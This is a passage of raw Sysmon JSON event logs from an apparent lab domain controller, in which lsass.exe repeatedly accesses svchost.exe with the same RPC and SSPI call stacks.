11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1057,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1058,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1059,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1060,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1061,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1062,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1063,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1064,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58be